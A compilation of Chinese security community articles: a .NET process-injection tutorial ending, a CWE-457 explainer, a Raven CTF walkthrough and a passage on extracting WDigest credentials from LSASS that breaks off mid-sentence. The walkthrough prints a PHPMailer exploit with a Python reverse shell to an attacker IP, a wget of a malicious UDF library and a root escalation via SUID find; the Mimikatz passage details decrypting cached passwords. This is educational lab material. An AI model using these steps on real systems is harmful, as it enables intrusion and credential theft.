为了简化编译代码的过程，在下载的源代码中，有一个名为build.bat的文件。如果已经部署好了所需环境，运行该脚本即可自动化进行。该脚本将同时编译调试版本和发布版本，以及相应的x86、x64和AnyCPU版本。每个项目可以独立创建，并通过Visual
Studio进行编译。脚本build.bat会将二进制文件放入名为_build的文件夹中。
在所有代码中，都加入了注释。此外，我们选择了C++ 11.0和.NET 4.0版本，上述版本支持Windows XP SP3到Windows 8
x64之间的所有Windows操作系统。顺便提一句，Microsoft从VS 2012 U1版本开始，为C++ 11.0 Runtime提供了对XP
SP3的支持。
## 七、总结
一般情况下，总结部分都是回顾整个过程，并且思考其中的技术，提出需要改进的地方。但在本文的总结中，我们打算写一些不同的内容，向大家提供一些彩蛋。
正如文章开头所说的，.NET是一个强大的语言。举例来说，可以利用.NET中的Reflection
API来获取有关程序集的类型信息。这意味着，.NET实际上可以用于扫描程序集，并且能够返回可用于注入的有效方法。在源代码压缩包中，有一个名为InjectGUI的.NET项目。该项目是一个针对我们的非托管Inject应用程序的托管包装器（Managed
Wrapper）。InjectGUI可以显示正在运行的进程列表，决定是调用Inject的32位还是64位版本，并且扫描.NET程序集以获取有效的注入方法。在InjectGUI中，有一个名为InjectWrapper.cs的文件，其中包含包装器逻辑。
此外，还有一个名为MethodItem的辅助类，定义如下：
public class MethodItem
{
public string TypeName { get; set; }
public string Name { get; set; }
public string ParameterName { get; set; }
}
ExtractInjectableMethods方法的以下部分，将获得List<MethodItem>类型的Collection，它与所需的方法签名匹配：
“`
// find all methods that match:
// static int pwzMethodName (String pwzArgument)
private void ExtractInjectableMethods()
{
// …
// open assembly
Assembly asm = Assembly.LoadFile(ManagedFilename);
// get valid methods
InjectableMethods =
(from c in asm.GetTypes()
from m in c.GetMethods(BindingFlags.Static |
BindingFlags.Public | BindingFlags.NonPublic)
where m.ReturnType == typeof(int) &&
m.GetParameters().Length == 1 &&
m.GetParameters().First().ParameterType == typeof(string)
select new MethodItem
{
Name = m.Name,
ParameterName = m.GetParameters().First().Name,
TypeName = m.ReflectedType.FullName
}).ToList();
// ...
}
既然我们已经获得了有效（可以注入）的方法，此时UI也应该了解要注入的进程是32位还是64位。为了实现这一点，需要Windows API提供一些帮助：
[DllImport(“kernel32.dll”, SetLastError = true, CallingConvention =
CallingConvention.Winapi)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool IsWow64Process([In] IntPtr process,
[Out] out bool wow64Process);
IsWow64Process只在64位操作系统定义，如果应用程序为32位，那么就会返回True。在.NET 4.0中，引入了Environment.Is64BitOperatingSystem属性。该属性可以帮助确定是否定义了IsWow64Process函数，如这一包装函数中所示：
private static bool IsWow64Process(int id)
{
if (!Environment.Is64BitOperatingSystem)
return true;
IntPtr processHandle;
bool retVal;
try
{
processHandle = Process.GetProcessById(id).Handle;
}
catch
{
return false; // access is denied to the process
}
return IsWow64Process(processHandle, out retVal) && retVal;
}
“`
InjectGUI项目所使用的逻辑非常简单。要理解UI，首先需要了解WPF和依赖属性。然而，与注入相关的逻辑都位于InjectWrapper类中。UI使用了Modern
UI for WPF构建，其中的图标都源自Modern UI Icons。这两个项目都是开源的。以下是InjectGUI的操作截图：
以上是关于如何将.NET程序注入到非托管进程的讨论。引用莎士比亚的一句名言：“不要因为结束而哭泣，微笑吧，因为你曾经拥有过”。 | 社区文章 |
# 【缺陷周话】第47期：参数未初始化
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、参数未初始化
变量如果没有进行初始化，其默认值是不确定的。在调用函数时，如果使用了未初始化的参数作为函数参数，可能会在函数的内部造成未初始化变量的直接使用，进而导致未定义行为的发生。详细请参见CWE-457:
Use of Uninitialized Variable。
## 2、参数未初始化的危害
未初始化的变量拥有不确定的值，当这个不确定的值作为参数传入函数中时，可能会触发非预期的行为，甚至导致缓冲区溢出、执行任意代码等严重隐患。CVE中也有一些与之相关的漏洞信息，从2018年1月至2019年8月，CVE中就有10条相关漏洞信息。漏洞信息如下：
CVE | 概述
---|---
CVE-2019-7321 | Artifex MuPDF 1.14 版本的函数 fzloadjpeg
中使用未初始化的变量导致缓冲区溢出漏洞。攻击者可利用该漏洞执行任意代码。
CVE-2019-12730 | FFmpeg 3.2.14 之前版本和 4.1.4 之前的 4.x 版本中的libavformat/aadec.c 文件的
‘aareadheader’ 函数没有对 sscanf () 函数进行检测，导致允许使用未使用的变量。攻击者可利用该漏洞绕过安全检查。
## 3、示例代码
示例源于Samate Juliet Test Suite for C/C++ v1.3
(https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE457_Use_of_Uninitialized_Variable__char_pointer_01.c。
### 3.1 缺陷代码
在上述示例代码中，第26行对变量 data 进行定义，但没有进行初始化，随后在第30行 data 作为 printLine() 函数的参数传入，由于此时
data 并没有初始化，其值也是未定义的，因此存在“参数未初始化”问题。
使用代码卫士对上述示例代码进行检测，可以检出“参数未初始化”缺陷，显示等级为中。如图1所示：
图1：参数未初始化检测示例
### 3.2 修复代码
在上述修复代码中，Samate 给出的修复方式为：在第30行对 data 进行赋值，从而避免了“参数未初始化”。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“参数未初始化”缺陷。如图2：
图2：修复后检测结果
## 4、如何避免参数未初始化
检查代码逻辑，避免函数参数使用未初始化的值，另外也可以对变量的声明采取默认初始化的策略。 | 社区文章 |
# 主机发现
root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.1.1 e0:45:6d:c8:43:79 (Unknown)
192.168.1.32 00:0c:29:12:96:8f VMware, Inc.
192.168.1.15 08:d4:0c:85:f2:8c Intel Corporate
192.168.1.50 70:85:40:a7:03:eb (Unknown)
192.168.1.51 08:d4:0c:85:f2:8c Intel Corporate
192.168.1.69 38:53:9c:99:f2:da (Unknown)
192.168.1.229 f0:18:98:04:80:24 (Unknown)
192.168.1.92 28:fa:a0:9f:94:5f (Unknown)
8 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.285 seconds (112.04 hosts/sec). 8 responded
在`192.168.1.32`发现靶机。
# 端口探测
root@kali:~# nmap -A 192.168.1.32
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-28 08:07 EST
Nmap scan report for Raven (192.168.1.32)
Host is up (0.00052s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
| 2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
| 256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_ 256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Raven Security
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 59830/udp status
|_ 100024 1 60361/tcp status
MAC Address: 00:0C:29:12:96:8F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.52 ms Raven (192.168.1.32)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.37 seconds
发现`22`，`80`和`111`端口是开放的，其中`80`端口运行了一个web应用。
# 目录猜解
使用dirb进行目录扫描
root@kali:~# dirb http://192.168.1.32
----------------- DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Nov 28 08:20:15 2018
URL_BASE: http://192.168.1.32/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.32/ ---- ==> DIRECTORY: http://192.168.1.32/css/
==> DIRECTORY: http://192.168.1.32/fonts/
==> DIRECTORY: http://192.168.1.32/img/
+ http://192.168.1.32/index.html (CODE:200|SIZE:16819)
==> DIRECTORY: http://192.168.1.32/js/
==> DIRECTORY: http://192.168.1.32/manual/
+ http://192.168.1.32/server-status (CODE:403|SIZE:300)
==> DIRECTORY: http://192.168.1.32/vendor/
==> DIRECTORY: http://192.168.1.32/wordpress/
扫到几个一级目录，一个个查看下文件的内容。
在`/vendor/`目录下发现了两个有趣的东西：
`http://192.168.1.32/vendor/PATH`
可以看到flag1和绝对路径。
`http://192.168.1.32/vendor/VERSION`
同时目录下还存在一个`PHPMailerAutoload.php`的文件，配合起来看应该是使用了5.2.16版本的PHPMailer。
# 反弹SHELL
然后[exploit-db.com](https://www.exploit-db.com/)搜索一波，发现了这个exp：
<https://www.exploit-db.com/exploits/40974>
简单修改一下exp：
1. 顶部加上`# -*- coding: utf-8 -*-`声明，否则注释里一大堆非ASCII字符会报错。
2. 修改`target`为靶机IP地址，利用文件为 **contact.php** 。
3. 修改后门文件路径名称。也不知道为什么，用默认的 **backdoor.php** 总是利用不成功，把payload一顿瞎改还是不行，最后改成了 **shell.php** 居然就可以了=_=
1. 修改反弹shell的地址为nc监听服务器的ip和端口。
然后执行exp
~/Downloads
▶ python 40974.py
█████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗
██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝
██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗
██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║
╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com
Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski
<MultipartEncoder: {'action': 'submit', 'message': 'Pwned', 'name': '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.1.30\\\',8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);"""\'); ?>', 'email': '"anarcoder\\" -OQueueDirectory=/tmp -X/var/www/html/backdoor.php server" @protonmail.com'}>
[+] SeNdiNG eVIl SHeLL To TaRGeT....
[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D
[+] ExPLoITeD http://192.168.1.32/contact.php
访问 **contact.php** 。
此时就会生成后门文件 **shell.php** ，开启nc服务器监听，访问靶机的 **shell.php** ，在服务器上得到反弹shell。
root@kali:~# nc -lvvp 8888
listening on [any] 8888 ...
connect to [192.168.1.30] from Raven [192.168.1.32] 35173
/bin/sh: 0: can't access tty; job control turned off
$
查看一下文件，在`/wordpress/wp-config.php`得到数据库的密码。
$ ls
Security - Doc
about.html
contact.php
contact.zip
css
elements.html
fonts
img
index.html
js
scss
service.html
shell.php
team.html
vendor
wordpress
$ cd wordpress
$ ls
index.php
license.txt
readme.html
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php
$ cat wp-config.php
查看一下mysql的运行权限：
$ ps -ef|grep mysql
root 556 1 0 02:18 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
root 925 556 0 02:18 ? 00:00:01 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
www-data 1138 1123 0 02:29 ? 00:00:00 grep mysql
是以root的身份运行的，可以考虑通过mysql提权。
# UDF提权
nc模式下的shell不支持su交互，先利用python提升到伪终端。
$ python -c "import pty;pty.spawn('/bin/bash')"
然后登入mysql，交互正常。
接着就是利用提权exp的利用了。
<https://www.exploit-db.com/exploits/1518>
参照注释一步步走。
* 编译生成so文件。
root@kali:~# gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.c -lc
root@kali:~# ls
40974.py Documents Music Public raptor_udf2.so Videos
Desktop Downloads Pictures raptor_udf2.c Templates
* 从服务器下载so文件。
www-data@Raven:/var/www/html/wordpress$ cd /tmp
cd /tmp
www-data@Raven:/tmp$ wget 192.168.1.30/raptor_udf2.so
wget 192.168.1.30/raptor_udf2.so
converted 'http://192.168.1.30/raptor_udf2.so' (ANSI_X3.4-1968) -> 'http://192.168.1.30/raptor_udf2.so' (UTF-8)
--2018-11-30 03:29:34-- http://192.168.1.30/raptor_udf2.so
Connecting to 192.168.1.30:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19160 (19K) [application/octet-stream]
Saving to: 'raptor_udf2.so'
raptor_udf2.so 100%[=====================>] 18.71K --.-KB/s in 0s
2018-11-30 03:29:34 (286 MB/s) - 'raptor_udf2.so' saved [19160/19160]
* 执行sql语句，其中`dumpfile`的路径要根据前面进程列出来的plugin目录(plugin-dir=/usr/lib/mysql/plugin)改动一下。
mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.02 sec)
mysql> insert into foo values(load_file('/tmp/raptor_udf2.so'));
insert into foo values(load_file('/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.01 sec)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
<to dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.00 sec)
mysql> create function do_system returns integer soname 'raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)
* 利用自定义函数改变命令权限
select do_system('chmod u+s /usr/bin/find');
然后就可以利用`find`顺利提权了。
www-data@Raven:/tmp$ touch finn
touch finn
www-data@Raven:/tmp$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Raven:/tmp$ find finn -exec "/bin/sh" \;
find finn -exec "/bin/sh" \;
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# whoami
whoami
root
打完收工。 | 社区文章 |
# 【知识】5月26日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 介绍后门的一篇文章、关于反调试&反反调试那些事、攻击网络打印机paper
、内网穿透——Android木马进入高级攻击阶段（二）、Samba远程代码执行漏洞利用、关于UAC安全性的一篇文章 part1、一种Bypassing
Windows Attachment Manager的有趣姿势、自动化shellcode移植**
**
**
**资讯类：**
* * *
安卓移动操作系统的两个功能能够被用于发动点击劫持攻击，从而导致攻击者控制目标手机
<https://threatpost.com/android-overlay-and-accessibility-features-leave-millions-at-risk/125888/>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
介绍后门的一篇文章
<https://www.exploit-db.com/docs/42061.pdf>
ICS / SCADA渗透测试系统
<http://blog.gdssecurity.com/labs/2017/5/25/icsscada-systems-for-penetration-testers-a-typical-engagemen.html>
俄罗斯联盟的网络钓鱼和虚假信息活动
<https://citizenlab.org/2017/05/tainted-leaks-disinformation-phish/>
分析我的被入侵的Linux服务器
<https://medium.com/@tasdikrahman/learnings-from-analyzing-my-compromised-server-linode-cd3be62dc286>
关于反调试&反反调试那些事
<http://www.alonemonkey.com/2017/05/25/antiantidebug/>
网络打印机攻击利器
<https://github.com/RUB-NDS/PRET#>
攻击网络打印机paper
<https://www.ieee-security.org/TC/SP2017/papers/64.pdf>
内网穿透——Android木马进入高级攻击阶段（二）
<http://bobao.360.cn/learning/detail/3902.html>
Samba远程代码执行漏洞利用
<https://xianzhi.aliyun.com/forum/read/1632.html>
CVE-2017-7494：Samba 3.5.0 – Remote Code Execution[python]
<https://www.exploit-db.com/exploits/42060/>
信息收集之SVN源代码社工获取及渗透实战
<https://xianzhi.aliyun.com/forum/read/1629.html>
2017年第一季度 安卓系统安全性生态环境研究
<http://bobao.360.cn/news/detail/4179.html>
2017年第一季度 中国手机安全状况报告
<http://bobao.360.cn/news/detail/4178.html>
关于UAC安全性的一篇文章 part1
<https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html>
利用环境变量的计划任务绕过UAC
<https://tyranidslair.blogspot.co.uk/2017/05/exploiting-environment-variables-in.html>
luckystrike：一个基于powershell的恶意文档生成工具
<https://github.com/Shellntel/luckystrike>
Skyfire:数据驱动的种子生成器模式的模糊测试
<https://www.ieee-security.org/TC/SP2017/papers/42.pdf>
一种Bypassing Windows Attachment Manager的有趣姿势
<http://www.4hou.com/technology/4954.html>
一个gif远程crash你的微信！
<http://weibo.com/ttarticle/p/show?id=2309404111452326736551>
BruteSpray：依据nmap 生成的结果针对相关的协议和端口进行暴力破解
<https://github.com/x90skysn3k/brutespray>
自动化shellcode移植
<https://www.ieee-security.org/TC/SP2017/papers/579.pdf>
通过拆分SMTP绕过电子邮件安全网关
<https://www.darkreading.com/attacks-breaches/split-tunnel-smtp-exploit-bypasses-email-security-gateways/d/d-id/1328963> | 社区文章 |
对于mimikatz的利用方式：封装，打包，进程注入，powershell化，现在又出现了内存转储的利用方式，真可谓无所不用其极。无他，就因为Mimikatz仍然是从
Windows系统lsass上提取凭据时的首选工具。当然，这是由于当Microsoft引入了每个新的安全控制措施，GentilKiwi总是袖手旁观。如果您曾经研究过Mimikatz所做的工作，那么你会发现，这并不是一件容易的事，因为它支持Windows
x86和x64的所有版本（最近还增加了支持ARM
arch架构的Windows）。当然，随着Mimikatz多年来的成功，蓝队现在非常善于检测其多种形式的用途。本质上，在主机上执行Mimikatz，如果环境完全成熟，你的行为可能会被标记。
通过线上线下采访别人，现在的我对红队的想法是：不仅可以执行脚本，还可以理解他们所使用的工具。而且，我们发现mimikatz出新姿势的速度，永远比不上安全供应商打压的速度。因此，了解mimikatz特定技术如何作用于API调用，可以在防护严密的环境中避免被发现。
话虽这么说，Mimikatz是一种以各种形式附带在大多数后开发工具套件的工具。并且，尽管一些安全供应商正在监视与lsass的进程交互，但更多安全厂商决定尝试识别Mimikatz本身。
我一直在考虑剥离Mimikatz以进行某些活动（主要是那些不可行或不允许进行内存转储的活动），但很长一段时间内我都很困扰，因为平时对它接触比较少，所以我花了很长时间来研究。
因此，在未来几篇博文中，我想探索一下它的神奇之处，从一切开始的地方开始：`WDigest`。具体来说，探索在lsass中明文凭证是如何被缓存的，以及如何使用将该凭证从内存中将`sekurlsa::wdigest`提取出来。这将意味着涉及拆卸和调试过程，故而，虽然很难复制Mimikatz所做的工作，但是如果仅使用一小部分可用功能，还是值得根据Mimikatz源代码diy出一个小工具。
最后，我还将探讨在lsass中加载任意DLL的一些方法，希望可以将其与演示的代码示例结合使用。
注意：这篇文章大量使用了Mimikatz的源代码，其开发人员投入了大量的时间。向他们致敬。
**那么，神奇的`sekurlsa :: wdigest`实际上是如何工作的呢？**
如前所述，在本文中，我们将讨论的是`WDigest`，这可以说是Mimikatz最著名的功能了。`WDigest`凭据缓存默认情况下处于启用状态，直到Windows
Server 2008 R2，此后版本禁用了纯文本凭据缓存。
反编译操作系统组件时，我通常喜欢附加调试器，并查看其在运行时如何与操作系统交互。不幸的是，在这种情况下，mimikatz不会像将WinDBG附加到lsass一样那么简单，因为很快Windows会停止运行，然后警告您有待重启。相反，我们必须将之附加到内核并从Ring-0切换到lsass进程。如果你以前从来没有附加过WinDBG内核，可以看看我以前的博客，里面提及了如何去建立一个内核调试器。[传送门]（<http://blog.xpnsec.com/windows-warbird-privesc/）。>
附加了内核调试器后，我们需要获取lsass进程的`EPROCESS`地址，该地址可通过以下`!process 0 0 lsass.exe`命令找到：
`EPROCESS`地址（上图是`ffff9d01325a7080`）被标记之后，我们可以请求将调试会话切换到lsass进程上下文：
一个简单lm的例子将表明我们现在可以访问WDigest DLL内存空间：
如果此时您发现字符没有被正确处理，可以使用命令`.reload /user`，通常会有所帮助。
附加了调试器后，就可以深入研究WDigest了。
## 深入研究wdigest.dll（涉及lsasrv.dll）
如果查看Mimikatz源代码，可以看到内存中识别凭据的进程是扫描签名。使用时下流行的工具`Ghidra`，看看Mimikatz在寻找什么。
我的计算机版本是Windows 10 x64，因此我将重点介绍`PTRN_WIN6_PasswdSet`签名，如下图：
将此搜索签名提供给Ghidra之后，我们发现。Mimikatz扫描内存以查找的内容为：
上图出现了`LogSessHandlerPasswdSet`函数。具体来说，签名引用仅在`l_LogSessList`指针之外。该指针是从WDigest中提取凭证的关键，但是在行动之前，先做一个备份，然后通过检查交叉引用来弄清楚到底是什么调用了此函数，然后来到了这里：
在这里，我们从`WDigest.dll`中导出了一个函数`SpAcceptCredentials`，但这是做什么的呢？
这看起来很有搞头，因为凭证是通过此回调函数传递的。为了确认没有找错地方，在WinDBG中添加一个断点：`bp
wdigest!SpAcceptCredentials`，然后使用`runas`命令在Windows上生成外壳程序：
这应该足以触发断点。检查调用的参数，可以看到传入的凭据：
如果继续执行并在`wdigest!LogSessHandlerPasswdSet`上添加另一个断点，则会发现，尽管传递了用户名，但看不到代表密码的参数。但是，如果我们在调用`LogSessHandlerPasswdSet`之前看一下，我们会发现：
这实际上是用于`Control Flow Guard`的存根（Ghidra
9.0.3看起来对显示CFG存根有改进），但后续是在调试器中,该调用实际上是针对`LsaProtectMemory`的：
预料之中，因为我们知道凭据是加密存储在内存中的。不幸的是，`LsaProtectMemory`函数没有在lsass之外公开，因此我们需要知道如何重新创建这个函数来解密提取的凭证。接下来的反汇编程序显示此调用实际上只是一个针对`LsaEncryptMemory`的封装：
并且`LsaEncryptMemory`实际上是`BCryptEncrypt`的封装调用：
有趣的是，加解密函数是基于所提供的要加密的数据块长度来选择的。如果提供的缓冲区长度可以被8整除（由上图中的`param_2＆7`按位操作提供），则使用`AES`。如果失败，则使用`3Des`。
现在，我们知道我们的密码由`BCryptEncrypt`加密，但是密钥呢？上图中，我们可以看到对`lsasrv!h3DesKey`和`lsasrv!hAesKey`的引用。跟踪对这些地址的引用发现，地址`lsasrv!LsaInitializeProtectedMemory`用于为每个地址分配一个初始值。具体来说，每个键都是基于对`BCryptGenRandom`的调用生成的：
这意味着，每次lsass启动时都会随机生成一个新密钥，在解密任何缓存的WDigest凭据之前，必须先提取新密钥。
回到Mimikatz源代码，我们看到，确实存在对`LsaInitializeProtectedMemory`函数的搜寻，并再次提供了针对不同Windows版本和体系结构的完整签名列表：
如果我们在`Ghidra`中进行搜索，我们会发现它位于此处：
由上图可以看到对`hAesKey`地址的引用。因此，类似于上述签名搜索，Mimikatz会寻找内存中的加密密钥。
接下来，我们需要了解Mimikatz如何将密钥从内存中取出。为此，需要使用Mimikatz中的`kuhl_m_sekurlsa_nt6_acquireKey`，高亮处显示了该工具在支持不同OS版本方面所需要的长度。我们看到`hAesKey`和`h3DesKey`（实际上是从`BCRYPT_KEY_HANDLE`返回的类`BCryptGenerateSymmetricKey`）指向内存中的一个结构，该结构由包含所生成的对称`AES`和`3DES`密钥的字段组成。可以在Mimikatz中找到该结构的文档：
typedef struct _KIWI_BCRYPT_HANDLE_KEY {
ULONG size;
ULONG tag; // 'UUUR'
PVOID hAlgorithm;
PKIWI_BCRYPT_KEY key;
PVOID unk0;
} KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY;
通过检查上面引用的`UUUR`标记，可以将其与WinDBG相关联，以确保我们不会出错：
在偏移量`0x10`处，我们看到Mimikatz正在引用`PKIWI_BCRYPT_KEY`，它具有以下结构：
typedef struct _KIWI_BCRYPT_KEY81 {
ULONG size;
ULONG tag; // 'MSSK'
ULONG type;
ULONG unk0;
ULONG unk1;
ULONG unk2;
ULONG unk3;
ULONG unk4;
PVOID unk5; // before, align in x64
ULONG unk6;
ULONG unk7;
ULONG unk8;
ULONG unk9;
KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;
毫无疑问，下图内容与WinDBG使用相同的引用标记：
该结构的最后一个成员是对Mimikatz的引用，名为`KIWI_HARD_KEY`，包含以下内容：
typedef struct _KIWI_HARD_KEY {
ULONG cbSecret;
BYTE data[ANYSIZE_ARRAY]; // etc...
} KIWI_HARD_KEY, *PKIWI_HARD_KEY;
该结构由`cbSecret`键的大小组成，其后是`data`字段中的实际键。这意味着我们可以使用WinDBG通过以下方式提取此密钥：
由上图可知，`h3DesKey`长为0x18字节，内容为：
b9 a8 b6 10 ee 85 f3 4f d3 cb 50 a6 a4 88 dc 6e ee b3 88 68 32 9a ec 5a。
知道了这一点，我们可以遵循相同的过程来提取`hAesKey`：
现在我们了解了密钥的提取方式，需要寻找WDigest缓存的实际凭据。回到之前讨论的`l_LogSessList`指针。此字段对应于一个链表，我们可以使用WinDBG命令`!list
-x "dq @$extret" poi(wdigest!l_LogSessList)`逐步进行浏览：
这个矩阵的结构包含以下字段：
typedef struct _KIWI_WDIGEST_LIST_ENTRY {
struct _KIWI_WDIGEST_LIST_ENTRY *Flink;
struct _KIWI_WDIGEST_LIST_ENTRY *Blink;
ULONG UsageCount;
struct _KIWI_WDIGEST_LIST_ENTRY *This;
LUID LocallyUniqueIdentifier;
} KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;
在此结构之后是`LSA_UNICODE_STRING`字段，存在于以下三个偏移处：
• 0x30-用户名
• 0x40-主机名
• 0x50-加密密码
可以使用以下命令检查WinDBG的正确路径：
!list -x "dS @$extret+0x30" poi(wdigest!l_LogSessList)
这会将转储的用户名转储为：
最后，我们可以使用类似的命令转储加密的密码：
!list -x "db poi(@$extret+0x58)" poi(wdigest!l_LogSessList)
到此，从内存中提取WDigest凭据所需的所有步骤均已完成。
既然我们拥有提取和解密进程所需的所有信息，将这些信息组合到Mimikatz之外的小型独立工具中是否可行？为了探索这一点，我创建了一个备受欢迎(饱受非议)的POC，[传动门](https://gist.github.com/xpn/e3837a4fdee8ea1b05f7fea5e7ea9444)。在Windows
10 x64（内部版本1809）上执行时，它提供有关提取凭据过程的详细信息：
这个poc并不是绝对安全的，但我希望通过它来举例说明我们如何着手制作替代工具。
现在，我们了解了如何获取和解密WDigest高速缓存的凭据，我们可以转到另一个影响纯文本凭据收集的区域`UseLogonCredential`。
**但是UseLogonCredential为0**
众所周知，人们使用mimikatz都是转储明文凭据，因此Microsoft决定默认情况下禁用对该旧协议的支持。当然，有些用户可能正在使用WDigest，因此为了提供重新启用此功能的选项，Microsoft设置了注册表项为`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential`。将其从“
0”切换为“ 1”会强制WDigest重新缓存凭据，这当然意味着渗透测试者就白忙活了……
但是有一个陷阱，切换此设置需要重新启动操作系统，我还没有遇到一个客户允许在测试环境之外这样做。
显而易见的问题是：为什么需要重新启动计算机才能使其生效？
正如GentilKiwi指出的那样，此更改无需重新启动即可生效。我在本节末尾解释了原因。
让我们再看一看`SpAcceptCredentials`，经过一番寻找，我们发现了这一点：
可以清楚地看到，该函数使用全局变量检查了两个条件：`g_IsCredGuardEnabled`是否设为`1`或`g_fParameter_UseLogonCredential`是否设为`0`，我们发现采用的代码路径是通过`LogSessHandlerNoPasswordInsert`而不是上面的`LogSessHandlerPasswdSet`来调用。顾名思义，此函数会缓存会话，而不是缓存密码，结果就导致我们在使用Windows
2012+时通常遇到的弹框行为。因此，可以合理地假定此变量由上述注册表项值基于其名称来控制，通过跟踪其分配发现情况确实是这样：
通过了解`WDigest.dll`中的哪些变量可以控制凭据缓存，我们可以在不更新注册表的情况下颠覆它吗？如果我们在运行时使用调试器更新参数`g_fParameter_UseLogonCredential`，那该怎么办？
恢复运行后，我们看到缓存凭据再一次被存储：
当然，当连接了内核调试器时，大多数事情都是可能的，但是如果有一种在不触发`AV/EDR`的情况下操作lsass内存的方法（请参阅我们先前的[Cylance博客文章](https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/)，了解如何执行此操作的示例），那么就肯定可以编写用于操纵此变量的工具。我再次编写了一个冗长的工具，以演示如何完成此工作，该工具可以在[此处找到](https://gist.github.com/xpn/163360379f3cce2443a7b074f0a173b8)。
本示例将搜索并更新内存中`g_fParameter_UseLogonCredential`的值。如果是在受`Credential
